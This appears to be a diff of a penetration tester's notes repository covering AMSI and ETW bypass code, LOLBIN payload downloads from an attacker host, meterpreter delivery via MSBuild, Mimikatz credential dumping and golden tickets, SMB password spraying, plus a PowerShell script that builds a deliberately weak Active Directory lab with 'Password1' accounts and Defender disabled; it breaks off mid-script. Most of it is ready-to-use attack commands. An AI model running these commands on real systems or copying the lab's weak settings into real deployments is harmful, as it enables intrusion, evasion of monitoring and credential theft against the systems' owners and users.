* Downgrade Powershell version to 2.0, where no AMSI is implemented
|
||||
```sh
|
||||
PowerShell -Version 2
|
||||
```
|
||||
|
||||
* [Unicorn](https://github.com/trustedsec/unicorn) does leverage this
|
||||
|
||||
### Reflection Bypass
|
||||
|
||||
* Varying string concatenation and camelCasing variations of the following string by Matt Graeber
|
||||
* [Matt Graeber's Reflection](https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/)
|
||||
```sh
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
or an obfuscated version
|
||||
```sh
|
||||
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
|
||||
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse
|
||||
Set-MpPreference -DisableRealtimeMonitoring $true
|
||||
```
|
||||
|
||||
### AMSI ScanBuffer patch
|
||||
|
||||
* Patching `amsi.dll`, which is loaded at Powershell startup
|
||||
* AMSI ScanBuffer is delivered to `amsi.dll`
|
||||
|
||||
* Get handle of `amsi.dll`
|
||||
* Get process address of AmsiScanBuffer
|
||||
* Modify mem protection of AmsiScanBuffer
|
||||
* Write opcode to AMSIScanBuffer
|
||||
|
||||
* [BC-Security's AMSI bypass](https://github.com/BC-SECURITY/Empire/blob/master/lib/common/bypasses.py)
|
||||
* [RastaMouse's AMSI bypass](https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs)
|
||||
|
||||
### Other Bypasses and Tools
|
||||
|
||||
* [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell.git)
|
||||
|
||||
* [amsifail](http://amsi.fail/) generates obfuscated snippets
|
||||
|
||||
### Validate
|
||||
|
||||
* [AMSITrigger](https://github.com/RythmStick/AMSITrigger) identifies strings which trigger the AMSI functions
|
||||
* Validate Obfuscation and check which strings trigger AMSI
|
||||
* [AMSITrigger Repo](https://github.com/RythmStick/AMSITrigger)
|
||||
```sh
|
||||
.\\AMSITrigger.exe -u <URL> -f 1
|
||||
```
|
||||
or
|
||||
```sh
|
||||
.\\AMSITrigger.exe -i <file> -f 1
|
||||
```
|
||||
### Further Obfuscation
|
||||
|
||||
* String concatenation
|
||||
```sh
|
||||
$OBF = 'Ob' + 'fu' + 's' +'cation'
|
||||
```
|
||||
* `Concatenate - ('co'+'ffe'+'e')`
|
||||
* `Reorder - ('{1}{0}'-f'ffee','co')`
|
||||
* `Whitespace - ( 'co' +'fee' + 'e')`
|
||||
|
||||
#### Type Obfuscation
|
||||
|
||||
* .NET has type accelerators as aliases for types to shorten them and break the signature.
|
||||
* [idera](https://community.idera.com/database-tools/powershell/powertips/b/tips/posts/adding-new-type-accelerators-in-powershell)
|
||||
* [0x00-0x00](https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html)
|
||||
* [Documentation at microsoft](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_type_accelerators?view=powershell-7.1)
|
||||
|
||||
* Example
|
||||
* Without
|
||||
```sh
|
||||
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
|
||||
```
|
||||
* With
|
||||
```sh
|
||||
[dorkstork]::copy($buf, 0, $BufferAddress, 6);
|
||||
```
|
||||
|
||||
### Automated Obfuscation
|
||||
|
||||
#### Powershell
|
||||
|
||||
* [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation)
|
||||
* [Daniel's guide to Invoke-Obfuscation](https://www.danielbohannon.com/blog-1/2017/12/2/the-invoke-obfuscation-usage-guide)
|
||||
```sh
|
||||
Invoke-Obfuscation -ScriptBlock {'Payload Here'} -Command 'Token\\String\\1,2,\\Whitespace\\1' -Quiet -NoExit
|
||||
```
|
||||
* [__8191 character limit__](https://docs.microsoft.com/en-us/troubleshoot/windows-client/shell-experience/command-line-string-limitation) of command prompt must not be exceeded.
|
||||
|
||||
#### Other Obfuscation
|
||||
|
||||
* Pinpoint bytes that will be flagged with [ThreadCheck](https://github.com/rasta-mouse/ThreatCheck)
|
||||
* Has to be build via VS. Will output a ddll, an excutable and an XML file.
|
||||
* `ThreatCheck.exe -f <file>`
|
||||
* [DefenderCheck](https://github.com/matterpreter/DefenderCheck)
|
||||
|
||||
## Links
|
||||
|
||||
* [cmnatic](https://cmnatic.co.uk/)
|
||||
* [cmnatic's diss](https://resources.cmnatic.co.uk/Presentations/Dissertation/)
|
||||
* [s3cur3th1ssh1t](https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/)
|
||||
* [amsi.fail](https://amsi.fail/)
|
|
@ -0,0 +1,15 @@
|
|||
# Applocker
|
||||
|
||||
* Ruleset/policy for files and directories
|
||||
* Config file is `secpol.msc`
|
||||
* Sysadmins may create rules and push them to devices on the network.
|
||||
|
||||
## Categories
|
||||
* `Executable Rules`, Determines what executables and applications can be run from specified directories.
|
||||
* `Windows Installer Rules`, Determines what Installers can be run
|
||||
* `Script Rules`, Determines what and where scripts can be run
|
||||
* `Packaged app Rules`, Determines what pre-packaged Windows applications can be run
|
||||
|
||||
## Bypass
|
||||
* Check for executable paths at [HackLikeAPornStar's repo](https://github.com/HackLikeAPornstar/GibsonBird/blob/master/chapter4/applocker-bypas-checker.ps1)
|
||||
* [api0cradle's generic bypasses](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md)
|
|
@ -0,0 +1,25 @@
|
|||
# Crackmapexec
|
||||
|
||||
* Dictionary attack against SMB
|
||||
```sh
|
||||
cme smb domain.name -u <user> s -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
|
||||
```
|
||||
* Use the password with `impacket/examples/psexec.py` in the following way
|
||||
```sh
|
||||
psexec.py domain.name/<user>:<password>@<target-IP>
|
||||
```
|
||||
|
||||
## Shares
|
||||
|
||||
* Check user permissions on shares
|
||||
``sh
|
||||
crackmapexec smb 10.200.x.0/24 -u <user> -p <password> --shares
|
||||
```
|
||||
|
||||
## SMB
|
||||
* Check user hash on the network via smb
|
||||
```sh
|
||||
crackmapexec smb 10.200.x.0/24 -u <user> -d <domain> -H <hash>
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,96 @@
|
|||
# Evade Event Tracing (ETW)
|
||||
|
||||
* Event Logging
|
||||
* Trace Logging
|
||||
* Event IDs are used
|
||||
* __Event Provider__ generate events
|
||||
* Managed Object Format, enabled by a single trace session
|
||||
* Windows Software Trace Preprocessor, Trace Message Format, enabled by a single trace session
|
||||
* Manifest Based, up to 8 trace sessions
|
||||
* TraceLogging, up to 8 trace sessions
|
||||
* __Event Controller__ build and configure sessions for events
|
||||
* __Event Consumer__ interpret events, parses sessions of selected providers
|
||||
* XML data
|
||||
|
||||
## Log Evasion
|
||||
|
||||
* Deleting logs is tracked by an event ID as well . Do not do it!
|
||||
* ID 1102, security audit logs cleared
|
||||
* ID 104, log file cleared
|
||||
* ID 1100, even service shut down
|
||||
|
||||
### Techniques
|
||||
|
||||
* Provider
|
||||
* [PSEtwLogProvider modification](https://docs.microsoft.com/en-us/dotnet/standard/assembly/) from .Net assembly
|
||||
* Set `m_enabled` to `$null` via powershell script
|
||||
|
||||
```sh
|
||||
$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
|
||||
$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null)
|
||||
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider,0);
|
||||
```
|
||||
|
||||
* Group policy takeover
|
||||
* Loaded in the same security context as the user
|
||||
* GPO providers are script block logging and module logging
|
||||
* Event IDs reported are `4103` (Logs command invocation) and `4104` (Logs script block execution)
|
||||
* Administrative Templates -> Windows Components -> Windows PowerShell
|
||||
* Log pipeline abuse
|
||||
* `LogPipelineExecutionDetails` has to be set to false
|
||||
* Type creation
|
||||
* Controller
|
||||
* Patching EtwEventWrite stored in `ntdll.dll` via return value modification
|
||||
|
||||
```sh
|
||||
var ntdll = Win32.LoadLibrary("ntdll.dll");
|
||||
var etwFunction = Win32.GetProcAddress(ntdll, "EtwEventWrite");
|
||||
```
|
||||
|
||||
* Modify memory permissions
|
||||
|
||||
```c
|
||||
uint oldProtect;
|
||||
Win32.VirtualProtect(
|
||||
etwFunction,
|
||||
(UIntPtr)patch.Length,
|
||||
0x40,
|
||||
out oldProtect
|
||||
);
|
||||
```
|
||||
|
||||
* Copy via `Marshal.Copy`
|
||||
|
||||
```c
|
||||
patch(new byte[] { 0xc2, 0x14, 0x00 });
|
||||
Marshal.Copy(
|
||||
patch,
|
||||
0,
|
||||
etwEventSend,
|
||||
patch.Length
|
||||
);
|
||||
```
|
||||
|
||||
* Clean up
|
||||
|
||||
```c
|
||||
VirtualProtect(etwFunction, 4, oldProtect, &oldOldProtect);
|
||||
```
|
||||
|
||||
* Check patched instruction
|
||||
|
||||
```c
|
||||
Win32.FlushInstructionCache(
|
||||
etwFunction,
|
||||
NULL
|
||||
);
|
||||
```
|
||||
|
||||
* Runtime Trace Tampering
|
||||
* Consumer
|
||||
* Log smashing
|
||||
* Log tampering
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,60 @@
|
|||
# LOLBINS
|
||||
|
||||
* [LOLBAS](https://lolbas-project.github.io/)
|
||||
* All binaries are signed by Microsoft
|
||||
* Shows paths to the binary
|
||||
|
||||
## Ingress Tool Transfer
|
||||
|
||||
* [certutil.exe](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil), may be used for payload encoding as well
|
||||
```sh
|
||||
certutil.exe -urlcache -split -f http://%ATTACKER_IP%/shell.exe C:\Windows\Temp\noshell.exe
|
||||
certutil.exe -encode shell.exe encoded-shell.txt
|
||||
```
|
||||
* [bitsadmin](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin)
|
||||
```sh
|
||||
bitsadmin.exe /transfer /download /priority foreground http://%ATTACKER_IP%/shell.exe C:\Windows\Temp\noshell.exe
|
||||
```
|
||||
* findstr
|
||||
```sh
|
||||
findstr /v dummystring \\Path\to\shell.exe > C:\Windows\Temp\noshell.exe
|
||||
```
|
||||
|
||||
## Indirect Command Execution
|
||||
|
||||
* Explorer as parent process to execute other PEs
|
||||
```sh
|
||||
explorer /root, "C:\Windows\System32\cmd.exe"
|
||||
```
|
||||
|
||||
* Windows management instrumentation
|
||||
```sh
|
||||
wmic.exe process call create calc
|
||||
```
|
||||
|
||||
* `rundll32.exe`
|
||||
|
||||
## Bypass Whiteslists
|
||||
|
||||
* `regsvr32.exe` can execute PEs in memory, even remotely
|
||||
* DLL has to match architecture
|
||||
```sh
|
||||
C:\Windows\System32\regsvr32.exe C:\Temp\shell.dll
|
||||
C:\Windows\System32\regsvr32.exe /s /n /u /i:http://%ATTACKER_IP%/shell.dll shell.dll
|
||||
```
|
||||
* `bash.exe -c calc.exe`
|
||||
|
||||
## Shortcut Modification Technique
|
||||
|
||||
* Execute PEs via shortcuts
|
||||
* Clone [powerlessshell](https://github.com/Mr-Un1k0d3r/PowerLessShell.git)
|
||||
* `msfvenom` with `windows/meterpreter/reverse_winhttps`
|
||||
* Set `multi/handler` with `set payload windows/meterpreter/reverse_winhttps`
|
||||
* Transform to `*.csproj`
|
||||
```sh
|
||||
python2 PowerLessShell.py -type powershell -source /tmp/shell.ps1 -output shell.csproj
|
||||
```
|
||||
* Execute on target
|
||||
```sh
|
||||
c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\shell.csproj
|
||||
```
|
|
@ -0,0 +1,48 @@
|
|||
# Mimikatz Usage
|
||||
* Check your privilege, boy
|
||||
```sh
|
||||
privilege::debug
|
||||
token::elevate
|
||||
```
|
||||
|
||||
## Dump hashes
|
||||
|
||||
* NTLM
|
||||
```sh
|
||||
$ lsadump::lsa /patch
|
||||
```
|
||||
```sh
|
||||
sekurlsa::tickets /export
|
||||
```
|
||||
|
||||
## Dump Local Password hashes
|
||||
|
||||
```sh
|
||||
token::elevate
|
||||
```
|
||||
```sh
|
||||
lsadump::sam
|
||||
```
|
||||
|
||||
* Form logged in users
|
||||
```sh
|
||||
sekurlsa::logonPasswords
|
||||
```
|
||||
|
||||
## Golden ticket
|
||||
* Dump krbtgt hashes and create a ticket, ticket is saved as ticket.kirbi
|
||||
```sh
|
||||
$ lsadump::lsa /inject /name:krbtgt
|
||||
$ kerberos::golden /user:<userid> /domain:<domainname> /sid:<number behinde domainname> /krbtgt:<NTLMhash> /id:<RID(dec)>
|
||||
```
|
||||
* use the golden ticket, open a new elevated prompt
|
||||
```sh
|
||||
misc::cmd
|
||||
```
|
||||
|
||||
## Oneliner
|
||||
* Get the stuff
|
||||
```sh
|
||||
.\mimikatz "log host-42.log" "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" exit
|
||||
```
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
# Pass the Hash
|
||||
|
||||
## Usage
|
||||
|
||||
```sh
|
||||
GetUserSPNs.py <Domain>/<user> -hashes <ntlm:hash> -outputfile hash.txt
|
||||
```
|
||||
* Crack the password
|
||||
* login
|
||||
```sh
|
||||
evilwinrm -i $TARGET_IP -u <user> -p password
|
||||
```
|
|
@ -0,0 +1,22 @@
|
|||
# Powershell Logs
|
||||
|
||||
## Powershell User History
|
||||
|
||||
```sh
|
||||
cd $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
|
||||
```
|
||||
|
||||
## Transcript Logs
|
||||
|
||||
* Enable via
|
||||
```sh
|
||||
reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableTranscripting /t REG_DWORD /d 0x1 /f
|
||||
reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v OutputDirectory /t REG_SZ /d C:/ /f
|
||||
reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableInvocationHeader /t REG_DWORD /d 0x1 /f
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
```sh
|
||||
Get-EventLog -List
|
||||
```
|
|
@ -0,0 +1,412 @@
|
|||
#Requires -RunAsAdministrator
|
||||
#Requires -Version 5.0
|
||||
|
||||
<#
|
||||
Bug1: Shared Folder on Client workstation is not working properly. Permission issues, make it sharable with everyone.
|
||||
#>
|
||||
|
||||
function Get-OSType{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Get the Operating system type
|
||||
ProductType 1 is Client operating systems
|
||||
ProductType 2 is Domain controllers
|
||||
ProductType 3 is Servers that are not domain controllers
|
||||
.
|
||||
.DESCRIPTION
|
||||
Get-OSType returns the operating system type.
|
||||
.EXAMPLE
|
||||
Get-OSType
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param()
|
||||
|
||||
$osType = (Get-CimInstance -ClassName Win32_OperatingSystem).ProductType
|
||||
Write-Output $osType
|
||||
}
|
||||
|
||||
function Install-ADLabDomainController{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Install Active Directory Role and promote the server to Primary Domain Controller.
|
||||
.DESCRIPTION
|
||||
Install-ADLabDomainController is used to install the Role of AD Domain Services and promote the server to Primary Domain Controller.
|
||||
.EXAMPLE
|
||||
Install-ADLabDomainController
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param()
|
||||
|
||||
if((Get-OSType) -ne 3)
|
||||
{
|
||||
Write-Warning "Server Install not detected. Exiting!!"
|
||||
exit
|
||||
}
|
||||
|
||||
$ForestName = Read-Host "Enter Forest name. For example covid.inc"
|
||||
try {
|
||||
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools -ErrorAction Stop
|
||||
}
|
||||
catch {
|
||||
Write-Warning "Unable to Install AD Domain Services Role"
|
||||
exit
|
||||
}
|
||||
|
||||
try {
|
||||
Install-ADDSForest -DomainName $ForestName -InstallDNS -SafeModeAdministratorPassword (ConvertTo-SecureString "Password1" -AsPlainText -Force) -ErrorAction Stop
|
||||
}
|
||||
catch {
|
||||
Write-Warning "Unable to Install Domain Controller"
|
||||
}
|
||||
}
|
||||
|
||||
function Initialize-ADLabDomainController{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Configures Machine name and Static IP address.
|
||||
.DESCRIPTION
|
||||
Initialize-ADLabDomainController is used to configure friendly machine name and assign static IP address to the server .
|
||||
.PARAMETER NewComputerName
|
||||
The name of the machine.
|
||||
.EXAMPLE
|
||||
Initialize-ADLabDomainController -NewComputerName Skynet
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
Param()
|
||||
|
||||
if((Get-OSType) -ne 3)
|
||||
{
|
||||
Write-Host "Server Install not detected. Exiting!!" -BackgroundColor Yellow -ForegroundColor Black
|
||||
exit
|
||||
}
|
||||
|
||||
Write-Host ("Machine will be restarted after the changes").ToUpper() -BackgroundColor Yellow -ForegroundColor Black
|
||||
|
||||
$choice = Read-Host "Do you want to change the name of the machine? (Y/N)"
|
||||
|
||||
switch ($choice) {
|
||||
Y { try {
|
||||
$NewComputerName = Read-Host "Please enter new machine name."
|
||||
Rename-Computer -NewName $NewComputerName -PassThru -ErrorAction Stop}
|
||||
catch {Write-Warning "Unable to rename the Machine."}
|
||||
}
|
||||
Default {Write-Host "Keeping the same machine name" -BackgroundColor Yellow -ForegroundColor Black }
|
||||
}
|
||||
|
||||
$netInterface = Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPv4Address,InterfaceIndex | Sort-Object InterfaceIndex
|
||||
|
||||
Write-Host "Following are the network interfaces configured on this machine" -BackgroundColor Yellow -ForegroundColor Black
|
||||
foreach($obj in $netInterface)
|
||||
{
|
||||
Write-Host "Interface: " $obj.InterfaceIndex " IP Address: " $obj.IPv4Address
|
||||
}
|
||||
|
||||
try{
|
||||
[Int32] $selection = Read-Host "Select the InterfaceIndex for Primary Domain Controller" -ErrorAction Stop
|
||||
$StaticIP = Read-Host "Enter the static IP adress to assign this machine" -ErrorAction Stop
|
||||
[Int32]$SubnetMask = Read-Host "Enter the Prefix length for the subnet mask. Example: Enter 24 for Subnet 255.255.255.0" -ErrorAction Stop
|
||||
$GatewayIP = Read-Host "Enter the IP address of the Gateway" -ErrorAction Stop
|
||||
|
||||
|
||||
Remove-NetIpAddress -InterfaceIndex $selection -AddressFamily IPv4 -ErrorAction Stop
|
||||
Remove-NetRoute -InterfaceIndex $selection -AddressFamily IPv4 -Confirm:$false -ErrorAction Stop
|
||||
New-NetIpAddress -InterfaceIndex $selection -IpAddress $StaticIP -PrefixLength $SubnetMask -DefaultGateway $GatewayIP -AddressFamily IPv4 -ErrorAction Stop
|
||||
Set-DnsClientServerAddress -InterfaceIndex $selection -ServerAddresses $StaticIP -ErrorAction Stop
|
||||
Restart-Computer
|
||||
}
|
||||
catch {
|
||||
Write-Warning "Unable to set the IP Address. Manully restart the machine!"
|
||||
}
|
||||
}
|
||||
|
||||
function Initialize-ADLabWorkstation{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Assign a friednly machine name and configure the DNS to Domain Controllers IP address.
|
||||
.DESCRIPTION
|
||||
Initialize-ADLabWorkstation is used to assign the workstation a friendly name and configure the DNS IP address to point to Domain Controller.
|
||||
.EXAMPLE
|
||||
Initialize-ADLabWorkstation
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
Param()
|
||||
|
||||
if((Get-OSType) -ne 1)
|
||||
{
|
||||
Write-Host "Workstation install not detected. Exiting!!" -BackgroundColor Yellow -ForegroundColor Black
|
||||
exit
|
||||
}
|
||||
|
||||
Write-Host ("Machine will be restarted after the changes").ToUpper() -BackgroundColor Yellow -ForegroundColor Black
|
||||
|
||||
$choice = Read-Host "Do you want to change the name of the machine? (Y/N)"
|
||||
|
||||
switch ($choice) {
|
||||
Y { try {
|
||||
$NewComputerName = Read-Host "Please enter new machine name."
|
||||
Rename-Computer -NewName $NewComputerName -PassThru -ErrorAction Stop}
|
||||
catch {Write-Warning "Unable to rename the machine."}
|
||||
}
|
||||
Default {Write-Host "Keeping the same machine name" -BackgroundColor Yellow -ForegroundColor Black }
|
||||
}
|
||||
|
||||
|
||||
$netInterface = Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPv4Address,InterfaceIndex |Sort-Object InterfaceIndex
|
||||
Write-Host "Following are the network interfaces configured on this machine" -BackgroundColor Yellow -ForegroundColor Black
|
||||
foreach($obj in $netInterface)
|
||||
{
|
||||
Write-Host "Interface: " $obj.InterfaceIndex " IP Address: " $obj.IPv4Address
|
||||
}
|
||||
|
||||
$selection = Read-Host "Select the InterfaceIndex for Workstation"
|
||||
|
||||
$DomainControllerIPaddress = Read-Host "Please provide the IP address of the Domain Controller"
|
||||
|
||||
try {
|
||||
Set-DnsClientServerAddress -InterfaceIndex $selection -ServerAddresses ($DomainControllerIPaddress) -ErrorAction Stop
|
||||
Restart-Computer
|
||||
}
|
||||
catch {
|
||||
Write-Warning "Unable to configure IP address for the DNS. Restart the machine manually."
|
||||
}
|
||||
}
|
||||
|
||||
function New-ADLabDomainUser{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Adds new users to the Domian Controller.
|
||||
.DESCRIPTION
|
||||
New-ADLabDomainUser configures three users on the domain controller and promote one of them to be Domain Admin.
|
||||
.EXAMPLE
|
||||
New-ADLabDomainUser
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
param()
|
||||
|
||||
if((Get-OSType) -ne 2)
|
||||
{
|
||||
Write-Host "Domain Controller not detected. Exiting!!" -BackgroundColor Yellow -ForegroundColor Black
|
||||
exit
|
||||
}
|
||||
|
||||
#Add 3 Users Sarah Conner, Kyle Reese and John Conner. All with password "Password1"
|
||||
try {
|
||||
New-ADUser -Name "Sarah Conner" -GivenName "Sarah" -Surname "Conner" -SamAccountName "sconner" -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -Force) -Enabled $true -PasswordNeverExpires $true
|
||||
New-ADUser -Name "Kyle Reese" -GivenName "Kyle" -Surname "Reese" -SamAccountName "kreese" -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -Force) -Enabled $true -PasswordNeverExpires $true
|
||||
New-ADUser -Name "John Conner" -GivenName "John" -Surname "Conner" -SamAccountName "jconner" -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -Force) -Enabled $true -PasswordNeverExpires $true
|
||||
}
|
||||
catch {
|
||||
Write-Warning "Unable to create user account"
|
||||
}
|
||||
|
||||
#Add John Conner to Domain Admins Group
|
||||
try {
|
||||
Add-ADGroupMember -Identity "Domain Admins" -Members "jconner"
|
||||
}
|
||||
catch {
|
||||
Write-Warning "Unable to add John Conner to Domain Admins group"
|
||||
}
|
||||
}
|
||||
|
||||
function New-ADLabAVGroupPolicy{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Adds new group policy to disable windows defender.
|
||||
.DESCRIPTION
|
||||
New-ADLabAVGroupPolicy configures a new group policy to disable windows defender.
|
||||
.EXAMPLE
|
||||
New-ADLabAVGroupPolicy
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
param()
|
||||
|
||||
if((Get-OSType) -ne 2)
|
||||
{
|
||||
Write-Host "Domain Controller not detected. Exiting!!" -BackgroundColor Yellow -ForegroundColor Black
|
||||
exit
|
||||
|
||||
}
|
||||
|
||||
try {
|
||||
$someerror = $true
|
||||
New-GPO -Name "Disable Windows Defender" -Comment "This policy disables windows defender" -ErrorAction Stop
|
||||
}
|
||||
catch {
|
||||
$someerror = $false
|
||||
Write-Warning "Unable to create the Policy."
|
||||
|
||||
}
|
||||
|
||||
if($someerror)
|
||||
{
|
||||
Set-GPRegistryValue -Name "Disable Windows Defender" -Key "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" -ValueName "DisableAntiSpyware" -Type DWord -Value 1
|
||||
Set-GPRegistryValue -Name "Disable Windows Defender" -Key "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -ValueName "DisableRealtimeMonitoring" -Type DWord -Value 1
|
||||
New-GPLink -Name "Disable Windows Defender" -Target ((Get-ADDomain).DistinguishedName)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function New-ADLabSMBShare{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Adds new share called hackme on the Domain controller and Share on workstation.
|
||||
.DESCRIPTION
|
||||
New-ADLabSMBShare configures a a share on both Domain Controller and workstation.
|
||||
.EXAMPLE
|
||||
New-ADLabSMBShare
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
param()
|
||||
|
||||
if((Get-OSType) -eq 2)
|
||||
{
|
||||
try {
|
||||
$someerror = $true
|
||||
New-Item "C:\hackMe" -Type Directory -ErrorAction Stop
|
||||
}
|
||||
catch {
|
||||
Write-Warning "Unable to create hackme folder"
|
||||
|
||||
}
|
||||
if($someerror)
|
||||
{
|
||||
try {
|
||||
New-SmbShare -Name "hackMe" -Path "C:\hackMe" -ErrorAction Stop
|
||||
}
|
||||
catch {
|
||||
Write-Warning "Unable to create Share"
|
||||
}
|
||||
}
|
||||
}
|
||||
elseif ((Get-OSType) -eq 1) {
|
||||
try {
|
||||
$someerror = $true
|
||||
New-Item "C:\Share" -Type Directory -ErrorAction Stop
|
||||
}
|
||||
catch {
|
||||
Write-Warning "Unable to create hackme folder"
|
||||
$someerror = $false
|
||||
|
||||
}
|
||||
if($someerror)
|
||||
{
|
||||
try {
|
||||
New-SmbShare -Name "Share" -Path "C:\Share" -ErrorAction Stop
|
||||
}
|
||||
catch {
|
||||
Write-Warning "Unable to create Share"
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
Write-Warning "Invalid install. Exiting!!"
|
||||
exit
|
||||
}
|
||||
}
|
||||
|
||||
function Add-ADLabWorkstationToDomain{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Adds the workstation to the Domain.
|
||||
.DESCRIPTION
|
||||
Add-ADLabWorkstationToDomain adds the new workstation to our domain.
|
||||
.EXAMPLE
|
||||
Add-ADLabWorkstationToDomain
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
param()
|
||||
|
||||
if((Get-OSType) -ne 1)
|
||||
{
|
||||
Write-Host "Workstation install not detected. Exiting!!" -BackgroundColor Yellow -ForegroundColor Black
|
||||
exit
|
||||
}
|
||||
|
||||
try {
|
||||
Add-Computer -DomainName (Read-Host "Enter Domain Name") -Restart -Force -ErrorAction Stop
|
||||
}
|
||||
catch {
|
||||
Write-Warning "Unable to Add workstation to the Domain."
|
||||
}
|
||||
}
|
||||
|
||||
$ADLab = @"
|
||||
Art by Veronica Karlsson
|
||||
. //
|
||||
/) \ |\ //
|
||||
VK (\\| || \)u| |F /)
|
||||
\```.FF \ \ |J .'/
|
||||
__ `. `| \ `-'J .'.'
|
||||
______ __.--' `-. \_ J >. `'.' .
|
||||
_.-' ""`-------' `-.`.`. / )>. /.' .<'
|
||||
.' `-._>--' )\ `--''
|
||||
F . ('.--'"
|
||||
(_/ '\
|
||||
\ 'o`.
|
||||
|\ `.
|
||||
J \ | / | \
|
||||
L \ J ( . |
|
||||
J \ . F _.--'`._ /`. \_)
|
||||
F `. | / "" "'
|
||||
F /\ |_ ___| `-_.'
|
||||
/ / F J `--.___.-' F - /
|
||||
/ F | L J /|
|
||||
(_ F | L F .'||
|
||||
L F | | | /J |
|
||||
| J `. | | J | | ____.---.__
|
||||
|_|______ \ L | F__|_|___.---------'
|
||||
--' `-`--`--.___.-'-'---
|
||||
|
||||
_ ____ ____ _____ _ _ _____ _____ ____ _____ _ _ ____
|
||||
/ \ | _ \ | _ \| ____| \ | |_ _| ____/ ___|_ _| | | / \ | __ )
|
||||
/ _ \ | | | | | |_) | _| | \| | | | | _| \___ \ | | | | / _ \ | _ \
|
||||
/ ___ \| |_| | | __/| |___| |\ | | | | |___ ___) || | | |___ / ___ \| |_) |
|
||||
/_/ \_\____/ |_| |_____|_| \_| |_| |_____|____/ |_| |_____/_/ \_\____/
|
||||
|
||||
Author: @browninfosecguy
|
||||
Version: 1.0
|
||||
|
||||
Usage: This Script can be used to configure both Domain Controller and Workstation.
|
||||
|
||||
OPTIONS APPLICABLE TO SERVER:
|
||||
|
||||
Option 1: Configure machine name and static IP address for the Domain Controller.
|
||||
|
||||
Option 2: Install the "Active Directory Domain Services" role on the server and configure Domain Controller.
|
||||
|
||||
Option 3: Set up network share on the Domain controller and Workstation.
|
||||
|
||||
Option 4: Create Group policy to "disable" Windows Defender.
|
||||
|
||||
Option 5: Create User accounts on the Domain Controller.
|
||||
|
||||
OPTIONS APPLICABLE TO WORKSTATION:
|
||||
|
||||
Option 3: Set up network share on the Domain controller and Workstation.
|
||||
|
||||
Option 6: Configure machine name and set the DNS to IP address of Domain Controller.
|
||||
|
||||
Option 7: Join the workstation to the Domain.
|
||||
|
||||
"@
|
||||
|
||||
while ($true) {
|
||||
|
||||
Clear-Host
|
||||
$ADLab
|
||||
$option = Read-Host "Select an option to continue (Choose Wisely)"
|
||||
|
||||
switch ($option) {
|
||||
1 { Initialize-ADLabDomainController }
|
||||
2 { Install-ADLabDomainController }
|
||||
3 { New-ADLabSMBShare }
|
||||
4 { New-ADLabAVGroupPolicy }
|
||||
5 { New-ADLabDomainUser }
|
||||
6 {Initialize-ADLabWorkstation}
|
||||
